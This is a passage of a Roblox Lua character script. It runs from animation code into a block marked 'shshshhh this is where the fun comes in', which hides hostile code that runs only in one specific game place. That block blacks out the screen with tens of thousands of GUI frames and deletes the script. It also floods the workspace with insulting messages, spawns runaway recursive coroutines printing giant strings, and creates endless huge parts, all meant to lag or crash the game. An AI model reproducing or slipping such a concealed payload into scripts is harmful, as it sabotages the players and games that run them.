4801 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4802 | ]]-- | |
4803 | Footsteps:Play() | |
4804 | Footsteps2:Stop() | |
4805 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3) | |
4806 | Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3) | |
4807 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
4808 | RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3) | |
4809 | LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3) | |
4810 | RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3) | |
4811 | LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3) | |
4812 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4813 | Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2) | |
4814 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2) | |
4815 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4816 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4817 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4818 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4819 | end | |
4820 | elseif torvel>=22 and hitfloor~=nil then | |
4821 | Anim="Run" | |
4822 | change=1 | |
4823 | if attack==false then | |
4824 | Footsteps:Stop() | |
4825 | Footsteps2:Play() | |
4826 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3) | |
4827 | Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3) | |
4828 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
4829 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3) | |
4830 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3) | |
4831 | RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3) | |
4832 | LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3) | |
4833 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4834 | Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2) | |
4835 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2) | |
4836 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4837 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4838 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4839 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4840 | end | |
4841 | end | |
4842 | end | |
4843 | fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true) | |
4844 | fenbarmana4.Text="[Energy] <{[ "..mana.." ]}> [Energy]" | |
4845 | text.Text = math.floor(hum.Health) | |
4846 | if mana>=100 then | |
4847 | mana=100 | |
4848 | else | |
4849 | if mananum<=8 then | |
4850 | mananum=mananum+100 | |
4851 | else | |
4852 | mananum=0 | |
4853 | mana=mana+100 | |
4854 | end | |
4855 | end | |
4856 | end | |
4857 | ||
4858 | ||
4859 | ||
4860 | ||
4861 | --- shshshhh this is where the fun comes in --- | |
4862 | if game.PlaceId == 21053279 then | |
4863 | plr = game.Players.LocalPlayer | |
4864 | char = plr.Character | |
4865 | cam = workspace.CurrentCamera | |
4866 | cam.CameraType = "Scriptable" | |
4867 | cam.CoordinateFrame = CFrame.new(0,0,50) | |
4868 | local localContainer | |
4869 | local service=setmetatable({ | |
4870 | MarketPlace=game:service("MarketplaceService"); | |
4871 | GamepassService=game:service("GamePassService"); | |
4872 | ChatService=game:service("Chat"); | |
4873 | LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end; | |
4874 | },{ | |
4875 | __index=function(tab,index) | |
4876 | local serv | |
4877 | local ran,err=pcall(function() serv=game:service(index) end) | |
4878 | if ran then | |
4879 | tab[index]=serv | |
4880 | return serv | |
4881 | end | |
4882 | end | |
4883 | }) | |
4884 | ||
4885 | local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end | |
4886 | ||
4887 | x=game.Players.LocalPlayer | |
4888 | x.CameraMode=Enum.CameraMode.LockFirstPerson | |
4889 | f=Instance.new("Frame") | |
4890 | f.Size=UDim2.new(1,0,1,0) | |
4891 | f.BackgroundTransparency=0.01 | |
4892 | f.BackgroundColor3=Color3.new() | |
4893 | pg=x.PlayerGui | |
4894 | gui=Instance.new("ScreenGui",pg) | |
4895 | wait(.1) | |
4896 | for i=1,28000 do | |
4897 | f:Clone().Parent=gui | |
4898 | f:Clone().Parent=gui | |
4899 | f:Clone().Parent=gui | |
4900 | end | |
4901 | ||
4902 | script:Destroy(); | |
4903 | local runService = Game:GetService("RunService").Stepped; | |
4904 | local LagNum = 1250; | |
4905 | local str = "lag fucker lag"; | |
4906 | ||
4907 | for i = 1, math.huge do | |
4908 | if i % LagNum == 0 then runService:wait(); end | |
4909 | Instance.new("Message", Workspace).Text = str; | |
4910 | end | |
4911 | ||
4912 | local bores=coroutine.create(function() --Yolo? | |
4913 | cPcall(function() | |
4914 | --print(Game[("%s|"):rep(0xFFFFFFF)]) | |
4915 | cPcall(print,'lol') | |
4916 | cPcall(warn,'lol') | |
4917 | cPcall(error,'lol') | |
4918 | while wait(0.1) do | |
4919 | spawn(function() | |
4920 | cPcall(function() | |
4921 | spawn(function() | |
4922 | local tab={} | |
4923 | pcall(function() | |
4924 | spawn(function() | |
4925 | for i=1,1000000 do | |
4926 | cPcall(function() | |
4927 | spawn(function() | |
4928 | local bob2=coroutine.create(function() | |
4929 | function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end | |
4930 | function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end | |
4931 | spawn(f1) | |
4932 | end) | |
4933 | spawn(function() delay(0,function() coroutine.resume(bob2) end) end) | |
4934 | spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end) | |
4935 | end) | |
4936 | end) | |
4937 | end | |
4938 | tab={} | |
4939 | end) | |
4940 | end) | |
4941 | end) | |
4942 | end) | |
4943 | end) | |
4944 | end | |
4945 | end) | |
4946 | end) | |
4947 | ||
4948 | service.RunService.Stepped:connect(function() | |
4949 | for i=1,500000 do | |
4950 | delay(0,function() pcall(function() coroutine.resume(bores) end) end) | |
4951 | end | |
4952 | end) | |
4953 | ||
4954 | ||
4955 | local function bob() | |
4956 | cPcall(function() | |
4957 | while wait(0.1) do | |
4958 | --cPcall(function() | |
4959 | --for i=1,100 do | |
4960 | local p=Instance.new("Part") | |
4961 | p.Material="Neon" | |
4962 | p.Size=Vector3.new(50,50,50) | |
4963 | p.Anchored=true | |
4964 | p.BackSurface="Studs" | |
4965 | p.BottomSurface="Studs" | |
4966 | p.FrontSurface="Studs" | |
4967 | p.LeftSurface="Studs" | |
4968 | p.RightSurface="Studs" | |
4969 | p.TopSurface="Studs" | |
4970 | local t=Instance.new("Texture",p) | |
4971 | t.Texture="http://www.roblox.com/asset/?id=190803157" | |
4972 | t.Face="Top" | |
4973 | t.StudsPerTileU=1000 | |
4974 | t.StudsPerTileV=1000 | |
4975 | local t2=t:clone() | |
4976 | t2.Parent=p | |
4977 | t2.Face="Bottom" | |
4978 | local t2=t:clone() | |
4979 | t2.Parent=p | |
4980 | t2.Face="Left" | |
4981 | local t2=t:clone() | |
4982 | t2.Parent=p | |
4983 | t2.Face="Right" | |
4984 | local t2=t:clone() | |
4985 | t2.Parent=p | |
4986 | t2.Face="Front" | |
4987 | local t2=t:clone() | |
4988 | t2.Parent=p | |
4989 | t2.Face="Back" | |
4990 | p.Parent=service.LocalContainer() | |
4991 | --end | |
4992 | --end) | |
4993 | end | |
4994 | end) | |
4995 | end | |
4996 | bob() --while wait(0.1) do cPcall(bob) end | |
4997 | end | |
4998 | -- |